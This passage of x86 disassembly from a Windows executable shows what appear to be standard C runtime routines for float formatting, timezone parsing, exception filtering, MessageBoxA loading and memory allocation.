[ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1EBE11E8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0FFE89000h, 0C3021EBDh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2610000h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 28908C6h nop test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 2600AF1h test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 nop call near ptr 2860000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26C0000h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 call near ptr 27C0000h nop mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short 